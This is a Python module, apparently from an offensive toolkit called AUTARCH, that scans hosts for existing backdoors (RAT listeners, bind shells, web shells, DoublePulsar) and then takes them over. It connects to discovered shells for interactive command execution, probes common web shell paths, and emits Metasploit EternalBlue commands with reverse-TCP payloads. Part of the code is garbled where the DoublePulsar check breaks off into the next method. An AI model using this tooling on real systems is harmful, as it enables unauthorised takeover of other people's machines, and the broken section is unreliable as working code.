"""AUTARCH Hack Hijack Module Scans target systems for signs of existing compromise — open backdoors, known exploit artifacts, rogue services, suspicious listeners — then provides tools to take over those footholds. Detection signatures include: - EternalBlue/DoublePulsar (MS17-010) backdoors - Common RAT listeners (Meterpreter, Cobalt Strike, njRAT, etc.) - Known backdoor ports and banner fingerprints - Web shells on HTTP services - Suspicious SSH authorized_keys or rogue SSHD - Open reverse-shell listeners - Rogue SOCKS/HTTP proxies - Cryptocurrency miners """ DESCRIPTION = "Hijack already-compromised systems" AUTHOR = "darkHal" VERSION = "1.0" CATEGORY = "offense" import os import json import time import socket import struct import threading import subprocess from datetime import datetime, timezone from pathlib import Path from typing import Dict, List, Optional, Any from dataclasses import dataclass, field try: from core.paths import find_tool, get_data_dir except ImportError: import shutil def find_tool(name): return shutil.which(name) def get_data_dir(): return str(Path(__file__).parent.parent / 'data') # ── Known Backdoor Signatures ──────────────────────────────────────────────── @dataclass class BackdoorSignature: name: str port: int protocol: str # tcp / udp banner_pattern: str = '' # regex or substring in banner probe: bytes = b'' # bytes to send to trigger banner description: str = '' category: str = 'generic' # eternalblue, rat, webshell, miner, proxy, shell takeover_method: str = '' # how to hijack # Port-based detection signatures BACKDOOR_SIGNATURES: List[BackdoorSignature] = [ # ── EternalBlue / DoublePulsar ──────────────────────────────────────── BackdoorSignature( name='DoublePulsar SMB Backdoor', port=445, protocol='tcp', description='NSA DoublePulsar implant via EternalBlue (MS17-010). ' 'Detected by SMB Trans2 SESSION_SETUP anomaly.', category='eternalblue', takeover_method='doublepulsar_inject', ), # ── Common RAT / C2 Listeners ───────────────────────────────────────── BackdoorSignature( name='Meterpreter Reverse TCP', port=4444, protocol='tcp', banner_pattern='', description='Default Metasploit Meterpreter reverse TCP handler.', category='rat', takeover_method='meterpreter_session', ), BackdoorSignature( name='Meterpreter Bind TCP', port=4444, protocol='tcp', banner_pattern='', description='Metasploit bind shell / Meterpreter bind TCP.', category='rat', takeover_method='meterpreter_connect', ), BackdoorSignature( name='Cobalt Strike Beacon (HTTPS)', port=443, protocol='tcp', banner_pattern='', description='Cobalt Strike default HTTPS beacon listener.', category='rat', takeover_method='beacon_takeover', ), BackdoorSignature( name='Cobalt Strike Beacon (HTTP)', port=80, protocol='tcp', banner_pattern='', description='Cobalt Strike HTTP beacon listener.', category='rat', takeover_method='beacon_takeover', ), BackdoorSignature( name='Cobalt Strike DNS', port=53, protocol='udp', description='Cobalt Strike DNS beacon channel.', category='rat', takeover_method='dns_tunnel_hijack', ), BackdoorSignature( name='njRAT', port=5552, protocol='tcp', banner_pattern='njRAT', description='njRAT default C2 port.', category='rat', takeover_method='generic_connect', ), BackdoorSignature( name='DarkComet', port=1604, protocol='tcp', banner_pattern='', description='DarkComet RAT default port.', category='rat', takeover_method='generic_connect', ), BackdoorSignature( name='Quasar RAT', port=4782, protocol='tcp', description='Quasar RAT default listener.', category='rat', takeover_method='generic_connect', ), BackdoorSignature( name='AsyncRAT', port=6606, protocol='tcp', description='AsyncRAT default C2 port.', category='rat', takeover_method='generic_connect', ), BackdoorSignature( name='Gh0st RAT', port=8000, protocol='tcp', banner_pattern='Gh0st', probe=b'Gh0st\x00', description='Gh0st RAT C2 communication.', category='rat', takeover_method='generic_connect', ), BackdoorSignature( name='Poison Ivy', port=3460, protocol='tcp', description='Poison Ivy RAT default port.', category='rat', takeover_method='generic_connect', ), # ── Shell Backdoors ─────────────────────────────────────────────────── BackdoorSignature( name='Netcat Listener', port=4445, protocol='tcp', description='Common netcat reverse/bind shell port.', category='shell', takeover_method='raw_shell', ), BackdoorSignature( name='Bind Shell (31337)', port=31337, protocol='tcp', description='Classic "elite" backdoor port.', category='shell', takeover_method='raw_shell', ), BackdoorSignature( name='Bind Shell (1337)', port=1337, protocol='tcp', description='Common backdoor/bind shell port.', category='shell', takeover_method='raw_shell', ), BackdoorSignature( name='Telnet Backdoor', port=23, protocol='tcp', banner_pattern='login:', description='Telnet service — often left open with weak/default creds.', category='shell', takeover_method='telnet_bruteforce', ), # ── Web Shells ──────────────────────────────────────────────────────── BackdoorSignature( name='PHP Web Shell (8080)', port=8080, protocol='tcp', banner_pattern='', description='HTTP service on non-standard port — check for web shells.', category='webshell', takeover_method='webshell_detect', ), BackdoorSignature( name='PHP Web Shell (8888)', port=8888, protocol='tcp', description='HTTP service on port 8888 — common web shell host.', category='webshell', takeover_method='webshell_detect', ), # ── Proxies / Tunnels ───────────────────────────────────────────────── BackdoorSignature( name='SOCKS Proxy', port=1080, protocol='tcp', description='SOCKS proxy — may be a pivot point.', category='proxy', takeover_method='socks_connect', ), BackdoorSignature( name='SOCKS5 Proxy (9050)', port=9050, protocol='tcp', description='Tor SOCKS proxy or attacker pivot.', category='proxy', takeover_method='socks_connect', ), BackdoorSignature( name='HTTP Proxy (3128)', port=3128, protocol='tcp', description='Squid/HTTP proxy — possible attacker tunnel.', category='proxy', takeover_method='http_proxy_use', ), BackdoorSignature( name='SSH Tunnel (2222)', port=2222, protocol='tcp', banner_pattern='SSH-', description='Non-standard SSH — possibly attacker-planted SSHD.', category='shell', takeover_method='ssh_connect', ), # ── Miners ──────────────────────────────────────────────────────────── BackdoorSignature( name='Cryptominer Stratum', port=3333, protocol='tcp', banner_pattern='mining', description='Stratum mining protocol — cryptojacking indicator.', category='miner', takeover_method='miner_redirect', ), BackdoorSignature( name='Cryptominer (14444)', port=14444, protocol='tcp', description='Common XMR mining pool port.', category='miner', takeover_method='miner_redirect', ), ] # Additional ports to probe beyond signature list EXTRA_SUSPICIOUS_PORTS = [ 1234, 1337, 2323, 3389, 4321, 4443, 4444, 4445, 5555, 5900, 6660, 6666, 6667, 6697, 7777, 8443, 9001, 9090, 9999, 12345, 17321, 17322, 20000, 27015, 31337, 33890, 40000, 41337, 43210, 50000, 54321, 55553, 65535, ] # ── Scan Result Types ───────────────────────────────────────────────────────── @dataclass class PortResult: port: int protocol: str state: str # open, closed, filtered banner: str = '' service: str = '' @dataclass class BackdoorHit: signature: str # name from BackdoorSignature port: int confidence: str # high, medium, low banner: str = '' details: str = '' category: str = '' takeover_method: str = '' @dataclass class ScanResult: target: str scan_time: str duration: float open_ports: List[PortResult] = field(default_factory=list) backdoors: List[BackdoorHit] = field(default_factory=list) os_guess: str = '' smb_info: Dict[str, Any] = field(default_factory=dict) nmap_raw: str = '' def to_dict(self) -> dict: return { 'target': self.target, 'scan_time': self.scan_time, 'duration': round(self.duration, 2), 'open_ports': [ {'port': p.port, 'protocol': p.protocol, 'state': p.state, 'banner': p.banner, 'service': p.service} for p in self.open_ports ], 'backdoors': [ {'signature': b.signature, 'port': b.port, 'confidence': b.confidence, 'banner': b.banner, 'details': b.details, 'category': b.category, 'takeover_method': b.takeover_method} for b in self.backdoors ], 'os_guess': self.os_guess, 'smb_info': self.smb_info, } # ── Hack Hijack Service ────────────────────────────────────────────────────── class HackHijackService: """Scans for existing compromises and provides takeover capabilities.""" def __init__(self): self._data_dir = os.path.join(get_data_dir(), 'hack_hijack') os.makedirs(self._data_dir, exist_ok=True) self._scans_file = os.path.join(self._data_dir, 'scans.json') self._scans: List[dict] = [] self._load_scans() self._active_sessions: Dict[str, dict] = {} def _load_scans(self): if os.path.exists(self._scans_file): try: with open(self._scans_file, 'r') as f: self._scans = json.load(f) except Exception: self._scans = [] def _save_scans(self): with open(self._scans_file, 'w') as f: json.dump(self._scans[-100:], f, indent=2) # keep last 100 # ── Port Scanning ───────────────────────────────────────────────────── def scan_target(self, target: str, scan_type: str = 'quick', custom_ports: List[int] = None, timeout: float = 3.0, progress_cb=None, port_found_cb=None, status_cb=None) -> ScanResult: """Scan a target for open ports and backdoor indicators. scan_type: 'quick' (signature ports only), 'full' (signature + extra), 'nmap' (use nmap if available), 'custom' (user-specified ports) """ start = time.time() result = ScanResult( target=target, scan_time=datetime.now(timezone.utc).isoformat(), duration=0.0, ) # Build port list ports = set() if scan_type == 'custom' and custom_ports: ports = set(custom_ports) else: # Always include signature ports for sig in BACKDOOR_SIGNATURES: ports.add(sig.port) if scan_type in ('full', 'nmap'): ports.update(EXTRA_SUSPICIOUS_PORTS) # Try nmap first if requested and available if scan_type == 'nmap': if status_cb: status_cb('Running nmap scan…') nmap_result = self._nmap_scan(target, ports, timeout) if nmap_result: result.open_ports = nmap_result.get('ports', []) result.os_guess = nmap_result.get('os', '') result.nmap_raw = nmap_result.get('raw', '') if port_found_cb: for pr in result.open_ports: port_found_cb(pr) # Fallback: socket-based scan if not result.open_ports: sorted_ports = sorted(ports) total = len(sorted_ports) results_lock = threading.Lock() open_ports = [] scanned = [0] if status_cb: status_cb(f'Socket scanning {total} ports on {target}…') def scan_port(port, idx): pr = self._check_port(target, port, timeout) with results_lock: scanned[0] += 1 done = scanned[0] if pr and pr.state == 'open': with results_lock: open_ports.append(pr) if port_found_cb: port_found_cb(pr) if progress_cb and done % 10 == 0: progress_cb(done, total, f'Scanning port {port}…') # Threaded scan — 50 concurrent threads threads = [] for i, port in enumerate(sorted_ports): t = threading.Thread(target=scan_port, args=(port, i), daemon=True) threads.append(t) t.start() if len(threads) >= 50: for t in threads: t.join(timeout=timeout + 2) threads.clear() for t in threads: t.join(timeout=timeout + 2) if progress_cb: progress_cb(total, total, 'Scan complete') result.open_ports = sorted(open_ports, key=lambda p: p.port) # Match open ports against backdoor signatures result.backdoors = self._match_signatures(target, result.open_ports, timeout) # Check SMB specifically for EternalBlue if any(p.port == 445 and p.state == 'open' for p in result.open_ports): result.smb_info = self._check_smb(target, timeout) # Check DoublePulsar dp_result = self._check_doublepulsar(target, timeout) if dp_result: result.backdoors.append(dp_result) result.duration = time.time() - start # Save scan scan_dict = result.to_dict() self._scans.append(scan_dict) self._save_scans() return result def _check_port(self, host: str, port: int, timeout: float) -> Optional[PortResult]: """TCP connect scan on a single port with banner grab.""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(timeout) result = sock.connect_ex((host, port)) if result == 0: banner = '' service = '' try: # Try to grab banner sock.settimeout(2.0) # Send probe for known ports probe = self._get_probe(port) if probe: sock.send(probe) banner = sock.recv(1024).decode('utf-8', errors='replace').strip() service = self._identify_service(port, banner) except Exception: service = self._identify_service(port, '') sock.close() return PortResult(port=port, protocol='tcp', state='open', banner=banner[:512], service=service) sock.close() except Exception: pass return None def _get_probe(self, port: int) -> bytes: """Return an appropriate probe for known ports.""" probes = { 21: b'', # FTP sends banner automatically 22: b'', # SSH sends banner automatically 23: b'', # Telnet sends banner automatically 25: b'', # SMTP sends banner 80: b'GET / HTTP/1.0\r\nHost: localhost\r\n\r\n', 110: b'', # POP3 banner 143: b'', # IMAP banner 443: b'', # HTTPS — won't get plaintext banner 3306: b'', # MySQL banner 3389: b'', # RDP — binary protocol 5432: b'', # PostgreSQL 6379: b'INFO\r\n', # Redis 8080: b'GET / HTTP/1.0\r\nHost: localhost\r\n\r\n', 8443: b'', 8888: b'GET / HTTP/1.0\r\nHost: localhost\r\n\r\n', 27017: b'', # MongoDB } # Check backdoor signatures for specific probes for sig in BACKDOOR_SIGNATURES: if sig.port == port and sig.probe: return sig.probe return probes.get(port, b'') def _identify_service(self, port: int, banner: str) -> str: """Identify service from port number and banner.""" bl = banner.lower() if 'ssh-' in bl: return 'SSH' if 'ftp' in bl: return 'FTP' if 'smtp' in bl or '220 ' in bl: return 'SMTP' if 'http' in bl: return 'HTTP' if 'mysql' in bl: return 'MySQL' if 'redis' in bl: return 'Redis' if 'mongo' in bl: return 'MongoDB' if 'postgresql' in bl: return 'PostgreSQL' well_known = { 21: 'FTP', 22: 'SSH', 23: 'Telnet', 25: 'SMTP', 53: 'DNS', 80: 'HTTP', 110: 'POP3', 143: 'IMAP', 443: 'HTTPS', 445: 'SMB', 993: 'IMAPS', 995: 'POP3S', 1080: 'SOCKS', 1433: 'MSSQL', 1521: 'Oracle', 3306: 'MySQL', 3389: 'RDP', 5432: 'PostgreSQL', 5900: 'VNC', 6379: 'Redis', 8080: 'HTTP-Alt', 8443: 'HTTPS-Alt', 27017: 'MongoDB', } return well_known.get(port, 'unknown') def _match_signatures(self, host: str, open_ports: List[PortResult], timeout: float) -> List[BackdoorHit]: """Match open ports against backdoor signatures.""" hits = [] port_map = {p.port: p for p in open_ports} for sig in BACKDOOR_SIGNATURES: if sig.port not in port_map: continue port_info = port_map[sig.port] confidence = 'low' details = '' # Banner match raises confidence if sig.banner_pattern and sig.banner_pattern.lower() in port_info.banner.lower(): confidence = 'high' details = f'Banner matches: {sig.banner_pattern}' elif port_info.banner: # Port open with some banner — medium confidence = 'medium' details = f'Port open, banner: {port_info.banner[:100]}' else: # Port open but no banner — check if it's a well-known service if port_info.service in ('SSH', 'HTTP', 'HTTPS', 'FTP', 'SMTP', 'DNS', 'MySQL', 'PostgreSQL', 'RDP'): # Legitimate service likely — low confidence for backdoor confidence = 'low' details = f'Port open — likely legitimate {port_info.service}' else: confidence = 'medium' details = 'Port open, no banner — suspicious' hits.append(BackdoorHit( signature=sig.name, port=sig.port, confidence=confidence, banner=port_info.banner[:256], details=details, category=sig.category, takeover_method=sig.takeover_method, )) return hits # ── SMB / EternalBlue Detection ─────────────────────────────────────── def _check_smb(self, host: str, timeout: float) -> dict: """Check SMB service details.""" info = {'vulnerable': False, 'version': '', 'os': '', 'signing': ''} nmap = find_tool('nmap') if not nmap: return info try: cmd = [nmap, '-Pn', '-p', '445', '--script', 'smb-os-discovery,smb-security-mode,smb-vuln-ms17-010', '-oN', '-', host] result = subprocess.run(cmd, capture_output=True, text=True, timeout=30) output = result.stdout info['raw'] = output if 'VULNERABLE' in output or 'ms17-010' in output.lower(): info['vulnerable'] = True if 'OS:' in output: for line in output.splitlines(): if 'OS:' in line: info['os'] = line.split('OS:')[1].strip() break if 'message_signing' in output.lower(): if 'disabled' in output.lower(): info['signing'] = 'disabled' elif 'enabled' in output.lower(): info['signing'] = 'enabled' except Exception as e: info['error'] = str(e) return info def _check_doublepulsar(self, host: str, timeout: float) -> Optional[BackdoorHit]: """Check for DoublePulsar SMB implant via Trans2 SESSION_SETUP probe. DoublePulsar responds to a specific SMB Trans2 SESSION_SETUP with a modified multiplex ID (STATUS_NOT_IMPLEMENTED + MID manipulation). """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(timeout) sock.connect((host, 445)) # SMB negotiate negotiate = ( b'\x00\x00\x00\x85' # NetBIOS b'\xff\x53\x4d\x42' # SMB b'\x72' # Negotiate b'\x00\x00\x00\x00' # Status b'\x18\x53\xc0' # Flags b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\xff\xff\xff\xfe\x00\x00' b'\x00\x00\x00\x00\x00\x62\x00' b'\x02\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b' b'\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e' b'\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e' b'\x30\x00\x02\x57\x69\x6e\x64\x6f\x77\x73\x20' b'\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f' b'\x75\x70\x73\x20\x33\x2e\x31\x61\x00\x02\x4c' b'\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c' b'\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e' b'\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00' ) sock.send(negotiate) sock.recv(1024) # SMB Trans2 SESSION_SETUP (DoublePulsar detection probe) trans2 = ( b'\x00\x00\x00\x4e' # NetBIOS b'\xff\x53\x4d\x42' # SMB header b'\x32' # Trans2 b'\x00\x00\x00\x00' # Status b'\x18\x07\xc0' # Flags b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x00\x00\xff\xfe\x00\x08' # MID=0x0800 b'\x00\x00\x0f\x0c\x00\x00\x00\x01' b'\x00\x00\x00\x00\x00\x00\x00' b'\xa6\xd9\xa4\x00\x00\x00\x00\x00' b'\x00\x0e\x00\x00\x00\x0c\x00\x42\x00' b'\x00\x00\x00\x00\x01\x00\x0e\x00' b'\x00\x00\x0c\x00\x00\x00\x00\x00' ) sock.send(trans2) resp = sock.recv(1024) sock.close() if len(resp) >= 36: # Check multiplex ID — DoublePulsar modifies it mid = struct.unpack(' Optional[dict]: """Use nmap for comprehensive scan if available.""" nmap = find_tool('nmap') if not nmap: return None try: port_str = ','.join(str(p) for p in sorted(ports)) cmd = [nmap, '-Pn', '-sV', '-O', '--version-intensity', '5', '-p', port_str, '-oN', '-', host] result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) output = result.stdout parsed_ports = [] os_guess = '' for line in output.splitlines(): # Parse port lines: "445/tcp open microsoft-ds" if '/tcp' in line or '/udp' in line: parts = line.split() if len(parts) >= 3: port_proto = parts[0].split('/') if len(port_proto) == 2 and parts[1] == 'open': parsed_ports.append(PortResult( port=int(port_proto[0]), protocol=port_proto[1], state='open', service=' '.join(parts[2:]), )) if 'OS details:' in line: os_guess = line.split('OS details:')[1].strip() elif 'Running:' in line: os_guess = os_guess or line.split('Running:')[1].strip() return { 'ports': parsed_ports, 'os': os_guess, 'raw': output, } except Exception: return None # ── Takeover Methods ────────────────────────────────────────────────── def connect_raw_shell(self, host: str, port: int, timeout: float = 5.0) -> dict: """Connect to a raw bind shell (netcat-style).""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(timeout) sock.connect((host, port)) # Try to get initial output try: sock.settimeout(2.0) initial = sock.recv(4096).decode('utf-8', errors='replace') except Exception: initial = '' session_id = f'shell_{host}_{port}_{int(time.time())}' self._active_sessions[session_id] = { 'type': 'raw_shell', 'host': host, 'port': port, 'socket': sock, 'connected_at': datetime.now(timezone.utc).isoformat(), } return { 'ok': True, 'session_id': session_id, 'initial_output': initial, 'message': f'Connected to bind shell at {host}:{port}', } except Exception as e: return {'ok': False, 'error': str(e)} def shell_execute(self, session_id: str, command: str, timeout: float = 10.0) -> dict: """Execute a command on an active shell session.""" session = self._active_sessions.get(session_id) if not session: return {'ok': False, 'error': 'Session not found'} sock = session.get('socket') if not sock: return {'ok': False, 'error': 'No socket for session'} try: sock.settimeout(timeout) sock.send((command + '\n').encode()) time.sleep(0.5) output = b'' sock.settimeout(2.0) while True: try: chunk = sock.recv(4096) if not chunk: break output += chunk except socket.timeout: break return { 'ok': True, 'output': output.decode('utf-8', errors='replace'), } except Exception as e: return {'ok': False, 'error': str(e)} def close_session(self, session_id: str) -> dict: """Close an active session.""" session = self._active_sessions.pop(session_id, None) if not session: return {'ok': False, 'error': 'Session not found'} sock = session.get('socket') if sock: try: sock.close() except Exception: pass return {'ok': True, 'message': 'Session closed'} def list_sessions(self) -> List[dict]: """List active takeover sessions.""" return [ { 'session_id': sid, 'type': s['type'], 'host': s['host'], 'port': s['port'], 'connected_at': s['connected_at'], } for sid, s in self._active_sessions.items() ] def attempt_takeover(self, host: str, backdoor: dict) -> dict: """Attempt to take over a detected backdoor. Routes to the appropriate takeover method based on the signature. """ method = backdoor.get('takeover_method', '') port = backdoor.get('port', 0) if method == 'raw_shell': return self.connect_raw_shell(host, port) if method == 'meterpreter_connect': return self._takeover_via_msf(host, port, 'meterpreter') if method == 'meterpreter_session': return self._takeover_via_msf(host, port, 'meterpreter') if method == 'doublepulsar_inject': return self._takeover_doublepulsar(host) if method == 'ssh_connect': return {'ok': False, 'message': f'SSH detected on {host}:{port}. ' 'Use Offense → Reverse Shell for SSH access, ' 'or try default credentials.'} if method == 'webshell_detect': return self._detect_webshell(host, port) if method == 'socks_connect': return {'ok': True, 'message': f'SOCKS proxy at {host}:{port}. ' f'Configure proxychains: socks5 {host} {port}'} if method == 'http_proxy_use': return {'ok': True, 'message': f'HTTP proxy at {host}:{port}. ' f'export http_proxy=http://{host}:{port}'} if method == 'generic_connect': return self.connect_raw_shell(host, port) return {'ok': False, 'error': f'No takeover handler for method: {method}'} def _takeover_via_msf(self, host: str, port: int, payload_type: str) -> dict: """Attempt takeover using Metasploit if available.""" try: from core.msf_interface import get_msf_interface msf = get_msf_interface() if not msf.is_connected: return {'ok': False, 'error': 'Metasploit not connected. Connect via Offense page first.'} # Use multi/handler to connect to bind shell return { 'ok': True, 'message': f'Metasploit available. Create handler: ' f'use exploit/multi/handler; ' f'set PAYLOAD windows/meterpreter/bind_tcp; ' f'set RHOST {host}; set LPORT {port}; exploit', 'msf_command': f'use exploit/multi/handler\n' f'set PAYLOAD windows/meterpreter/bind_tcp\n' f'set RHOST {host}\nset LPORT {port}\nexploit', } except ImportError: return {'ok': False, 'error': 'Metasploit module not available'} def _takeover_doublepulsar(self, host: str) -> dict: """Provide DoublePulsar exploitation guidance.""" return { 'ok': True, 'message': f'DoublePulsar detected on {host}:445. Use Metasploit:\n' f' use exploit/windows/smb/ms17_010_eternalblue\n' f' set RHOSTS {host}\n' f' set PAYLOAD windows/x64/meterpreter/reverse_tcp\n' f' set LHOST \n' f' exploit\n\n' f'Or inject DLL via existing DoublePulsar implant:\n' f' use exploit/windows/smb/ms17_010_psexec\n' f' set RHOSTS {host}\n' f' exploit', 'msf_command': f'use exploit/windows/smb/ms17_010_eternalblue\n' f'set RHOSTS {host}\n' f'set PAYLOAD windows/x64/meterpreter/reverse_tcp\n' f'exploit', } def _detect_webshell(self, host: str, port: int) -> dict: """Probe HTTP service for common web shells.""" shells_found = [] common_paths = [ '/cmd.php', '/shell.php', '/c99.php', '/r57.php', '/webshell.php', '/backdoor.php', '/upload.php', '/cmd.asp', '/shell.asp', '/cmd.aspx', '/shell.aspx', '/cmd.jsp', '/shell.jsp', '/.hidden/shell.php', '/images/shell.php', '/uploads/shell.php', '/tmp/shell.php', '/wp-content/uploads/shell.php', '/wp-includes/shell.php', ] try: import requests as req for path in common_paths: try: r = req.get(f'http://{host}:{port}{path}', timeout=3, allow_redirects=False) if r.status_code == 200 and len(r.text) > 0: # Check if it looks like a shell text = r.text.lower() indicators = ['execute', 'command', 'shell', 'system(', 'passthru', 'exec(', 'cmd', 'uname', 'phpinfo', 'eval('] if any(ind in text for ind in indicators): shells_found.append({ 'path': path, 'size': len(r.text), 'status': r.status_code, }) except Exception: continue except ImportError: return {'ok': False, 'error': 'requests library not available for web shell detection'} if shells_found: return { 'ok': True, 'message': f'Found {len(shells_found)} web shell(s) on {host}:{port}', 'shells': shells_found, } return { 'ok': True, 'message': f'No common web shells found on {host}:{port}', 'shells': [], } # ── History ─────────────────────────────────────────────────────────── def get_scan_history(self) -> List[dict]: return list(reversed(self._scans)) def clear_history(self) -> dict: self._scans.clear() self._save_scans() return {'ok': True, 'message': 'Scan history cleared'} # ── Singleton ───────────────────────────────────────────────────────────────── _instance = None _lock = threading.Lock() def get_hack_hijack() -> HackHijackService: global _instance if _instance is None: with _lock: if _instance is None: _instance = HackHijackService() return _instance # ── CLI ─────────────────────────────────────────────────────────────────────── def run(): """Interactive CLI for Hack Hijack.""" svc = get_hack_hijack() while True: print("\n╔═══════════════════════════════════════╗") print("║ HACK HIJACK — Takeover ║") print("╠═══════════════════════════════════════╣") print("║ 1 — Quick Scan (backdoor ports) ║") print("║ 2 — Full Scan (all suspicious) ║") print("║ 3 — Nmap Deep Scan ║") print("║ 4 — View Scan History ║") print("║ 5 — Active Sessions ║") print("║ 0 — Back ║") print("╚═══════════════════════════════════════╝") choice = input("\n Select: ").strip() if choice == '0': break elif choice in ('1', '2', '3'): target = input(" Target IP: ").strip() if not target: continue scan_type = {'1': 'quick', '2': 'full', '3': 'nmap'}[choice] print(f"\n Scanning {target} ({scan_type})...") def progress(current, total): print(f" [{current}/{total}] ports scanned", end='\r') result = svc.scan_target(target, scan_type=scan_type, progress_cb=progress) print(f"\n Scan complete in {result.duration:.1f}s") print(f" Open ports: {len(result.open_ports)}") if result.open_ports: print("\n PORT STATE SERVICE BANNER") print(" " + "-" * 60) for p in result.open_ports: banner = p.banner[:40] if p.banner else '' print(f" {p.port:<9} {p.state:<7} {p.service:<10} {banner}") if result.backdoors: print(f"\n BACKDOOR INDICATORS ({len(result.backdoors)}):") print(" " + "-" * 60) for i, bd in enumerate(result.backdoors, 1): color = {'high': '\033[91m', 'medium': '\033[93m', 'low': '\033[90m'}.get(bd.confidence, '') reset = '\033[0m' print(f" {i}. {color}[{bd.confidence.upper()}]{reset} " f"{bd.signature} (port {bd.port})") if bd.details: print(f" {bd.details}") # Offer takeover try: sel = input("\n Attempt takeover? Enter # (0=skip): ").strip() if sel and sel != '0': idx = int(sel) - 1 if 0 <= idx < len(result.backdoors): bd = result.backdoors[idx] bd_dict = { 'port': bd.port, 'takeover_method': bd.takeover_method, } r = svc.attempt_takeover(target, bd_dict) if r.get('ok'): print(f"\n {r.get('message', 'Success')}") if r.get('session_id'): print(f" Session: {r['session_id']}") # Interactive shell while True: cmd = input(f" [{target}]$ ").strip() if cmd in ('exit', 'quit', ''): svc.close_session(r['session_id']) break out = svc.shell_execute(r['session_id'], cmd) if out.get('ok'): print(out.get('output', '')) else: print(f" Error: {out.get('error')}") else: print(f"\n Failed: {r.get('error', 'Unknown error')}") except (ValueError, IndexError): pass if result.smb_info.get('vulnerable'): print("\n [!] SMB MS17-010 (EternalBlue) VULNERABLE") print(f" OS: {result.smb_info.get('os', 'unknown')}") print(f" Signing: {result.smb_info.get('signing', 'unknown')}") if result.os_guess: print(f"\n OS Guess: {result.os_guess}") elif choice == '4': history = svc.get_scan_history() if not history: print("\n No scan history.") continue print(f"\n Scan History ({len(history)} scans):") for i, scan in enumerate(history[:20], 1): bds = len(scan.get('backdoors', [])) high = sum(1 for b in scan.get('backdoors', []) if b.get('confidence') == 'high') print(f" {i}. {scan['target']} — " f"{len(scan.get('open_ports', []))} open, " f"{bds} indicators ({high} high) — " f"{scan['scan_time'][:19]}") elif choice == '5': sessions = svc.list_sessions() if not sessions: print("\n No active sessions.") continue print(f"\n Active Sessions ({len(sessions)}):") for s in sessions: print(f" {s['session_id']} — {s['type']} → " f"{s['host']}:{s['port']} " f"(since {s['connected_at'][:19]})")